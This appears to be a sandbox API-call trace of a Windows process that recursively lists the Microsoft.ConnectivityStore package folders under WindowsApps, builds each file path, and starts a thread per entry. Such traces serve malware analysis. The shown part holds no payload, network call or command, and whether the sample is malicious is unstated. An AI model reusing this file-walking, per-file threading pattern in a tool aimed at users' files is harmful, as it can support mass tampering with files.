	[0078.795] wcscat (in: _Dest=0x47674f0, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0078.887] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47674f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x56c
	[0078.888] FindNextFileW (in: hFindFile=0x2dad538, lpFindFileData=0x2dc0e08 | out: lpFindFileData=0x2dc0e08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd526822a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab022752, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd526822a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0078.888] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0078.888] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0078.888] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477f6f0
	[0078.888] wcscpy (in: _Dest=0x477f6f0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe"
	[0078.888] wcscat (in: _Dest=0x477f6f0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.888] wcscat (in: _Dest=0x477f6f0, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0078.888] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x477f6f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe50
	[0078.889] FindNextFileW (in: hFindFile=0x2dad538, lpFindFileData=0x2dc0e08 | out: lpFindFileData=0x2dc0e08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd528e480, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd528e480, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd528e480, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x296b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0078.889] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0078.889] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0078.889] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x47681a0
	[0078.889] wcscpy (in: _Dest=0x47681a0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe"
	[0078.889] wcscat (in: _Dest=0x47681a0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.889] wcscat (in: _Dest=0x47681a0, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0078.889] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47681a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe54
	[0078.889] FindNextFileW (in: hFindFile=0x2dad538, lpFindFileData=0x2dc0e08 | out: lpFindFileData=0x2dc0e08*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x628cd443, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xab022fb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628cd443, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0078.889] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0078.889] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0078.889] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x47cc980
	[0078.890] wcscpy (in: _Dest=0x47cc980, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe"
	[0078.890] wcscat (in: _Dest=0x47cc980, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.890] wcscat (in: _Dest=0x47cc980, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0078.890] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47cc980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe58
	[0078.890] FindNextFileW (in: hFindFile=0x2dad538, lpFindFileData=0x2dc0e08 | out: lpFindFileData=0x2dc0e08*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x628cd443, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xab022fb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628cd443, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0078.890] FindClose (in: hFindFile=0x2dad538 | out: hFindFile=0x2dad538) returned 1
	[0078.891] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dc0e08) returned 1
	[0078.891] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88600) returned 1
	[0078.891] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c7d8) returned 1

Thread:
	id = 266
	os_tid = 0x133c

	[0076.790] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb2) returned 0x2d886c8
	[0076.790] wcscpy (in: _Dest=0x2d886c8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe"
	[0076.790] wcscat (in: _Dest=0x2d886c8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\"
	[0076.790] wcscat (in: _Dest=0x2d886c8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\*"
	[0076.790] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dc1070
	[0076.791] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x2dc1070 | out: lpFindFileData=0x2dc1070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5373138, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab088494, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628cd443, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71180
	[0076.791] wcscmp (_String1=".", _String2=".") returned 0
	[0076.791] FindNextFileW (in: hFindFile=0x2d71180, lpFindFileData=0x2dc1070 | out: lpFindFileData=0x2dc1070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5373138, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab088494, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628cd443, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.791] wcscmp (_String1="..", _String2=".") returned 1
	[0076.791] wcscmp (_String1="..", _String2="..") returned 0
	[0076.791] FindNextFileW (in: hFindFile=0x2d71180, lpFindFileData=0x2dc1070 | out: lpFindFileData=0x2dc1070*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5373138, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd5373138, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd5373138, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x24ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0076.791] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0076.791] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0076.791] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x2d6ff90
	[0076.791] wcscpy (in: _Dest=0x2d6ff90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe"
	[0076.791] wcscat (in: _Dest=0x2d6ff90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\"
	[0076.791] wcscat (in: _Dest=0x2d6ff90, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0077.084] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d6ff90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa00
	[0077.085] FindNextFileW (in: hFindFile=0x2d71180, lpFindFileData=0x2dc1070 | out: lpFindFileData=0x2dc1070*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5373138, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd5373138, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd5373138, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xd4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0077.085] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0077.085] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0077.085] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x2e123f8
	[0077.085] wcscpy (in: _Dest=0x2e123f8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe"
	[0077.085] wcscat (in: _Dest=0x2e123f8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\"
	[0077.085] wcscat (in: _Dest=0x2e123f8, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxManifest.xml"
	[0077.085] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e123f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xba8
	[0077.085] FindNextFileW (in: hFindFile=0x2d71180, lpFindFileData=0x2dc1070 | out: lpFindFileData=0x2dc1070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5373138, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab08a798, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd5373138, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0077.086] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0077.086] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0077.086] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x2d7e3a8
	[0077.086] wcscpy (in: _Dest=0x2d7e3a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe"
	[0077.086] wcscat (in: _Dest=0x2d7e3a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\"
	[0077.086] wcscat (in: _Dest=0x2d7e3a8, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0077.086] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7e3a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbac
	[0077.086] FindNextFileW (in: hFindFile=0x2d71180, lpFindFileData=0x2dc1070 | out: lpFindFileData=0x2dc1070*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5373138, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd5373138, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd5373138, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2992, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0077.087] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0077.087] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0077.087] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2d5c8b0
	[0077.087] wcscpy (in: _Dest=0x2d5c8b0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe"
	[0077.087] wcscat (in: _Dest=0x2d5c8b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\"
	[0077.087] wcscat (in: _Dest=0x2d5c8b0, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0077.087] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5c8b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbb0
	[0077.087] FindNextFileW (in: hFindFile=0x2d71180, lpFindFileData=0x2dc1070 | out: lpFindFileData=0x2dc1070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd53994f2, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab08aff3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd53994f2, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0077.087] wcscmp (_String1="Assets", _String2=".") returned 1
	[0077.087] wcscmp (_String1="Assets", _String2="..") returned 1
	[0077.088] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x2d88f28
	[0077.088] wcscpy (in: _Dest=0x2d88f28, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe"
	[0077.088] wcscat (in: _Dest=0x2d88f28, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\"
	[0077.088] wcscat (in: _Dest=0x2d88f28, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets"
	[0077.088] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d88f28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbb4
	[0077.088] FindNextFileW (in: hFindFile=0x2d71180, lpFindFileData=0x2dc1070 | out: lpFindFileData=0x2dc1070*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53994f2, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd53994f2, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd53994f2, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xff58, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClrCompression.dll", cAlternateFileName="")) returned 1
	[0077.088] wcscmp (_String1="ClrCompression.dll", _String2=".") returned 1
	[0077.088] wcscmp (_String1="ClrCompression.dll", _String2="..") returned 1
	[0077.088] FindNextFileW (in: hFindFile=0x2d71180, lpFindFileData=0x2dc1070 | out: lpFindFileData=0x2dc1070*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53994f2, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd53994f2, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x508c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConnectivityStore.Windows.dll", cAlternateFileName="")) returned 1
	[0077.088] wcscmp (_String1="ConnectivityStore.Windows.dll", _String2=".") returned 1
	[0077.089] wcscmp (_String1="ConnectivityStore.Windows.dll", _String2="..") returned 1
	[0077.089] FindNextFileW (in: hFindFile=0x2d71180, lpFindFileData=0x2dc1070 | out: lpFindFileData=0x2dc1070*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd547e1a3, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConnectivityStore.Windows.exe", cAlternateFileName="")) returned 1
	[0077.089] wcscmp (_String1="ConnectivityStore.Windows.exe", _String2=".") returned 1
	[0077.089] wcscmp (_String1="ConnectivityStore.Windows.exe", _String2="..") returned 1
	[0077.089] FindNextFileW (in: hFindFile=0x2d71180, lpFindFileData=0x2dc1070 | out: lpFindFileData=0x2dc1070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab08b876, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FAQ", cAlternateFileName="")) returned 1
	[0077.089] wcscmp (_String1="FAQ", _String2=".") returned 1
	[0077.089] wcscmp (_String1="FAQ", _String2="..") returned 1
	[0077.089] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x47c8020
	[0077.089] wcscpy (in: _Dest=0x47c8020, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe"
	[0077.089] wcscat (in: _Dest=0x47c8020, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\"
	[0077.089] wcscat (in: _Dest=0x47c8020, _Source="FAQ" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ"
	[0077.089] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47c8020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbb8
	[0077.090] FindNextFileW (in: hFindFile=0x2d71180, lpFindFileData=0x2dc1070 | out: lpFindFileData=0x2dc1070*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x628cd443, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xab08dbee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628cd443, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0077.090] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0077.090] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0077.090] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x2e473f0
	[0077.090] wcscpy (in: _Dest=0x2e473f0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe"
	[0077.090] wcscat (in: _Dest=0x2e473f0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\"
	[0077.090] wcscat (in: _Dest=0x2e473f0, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
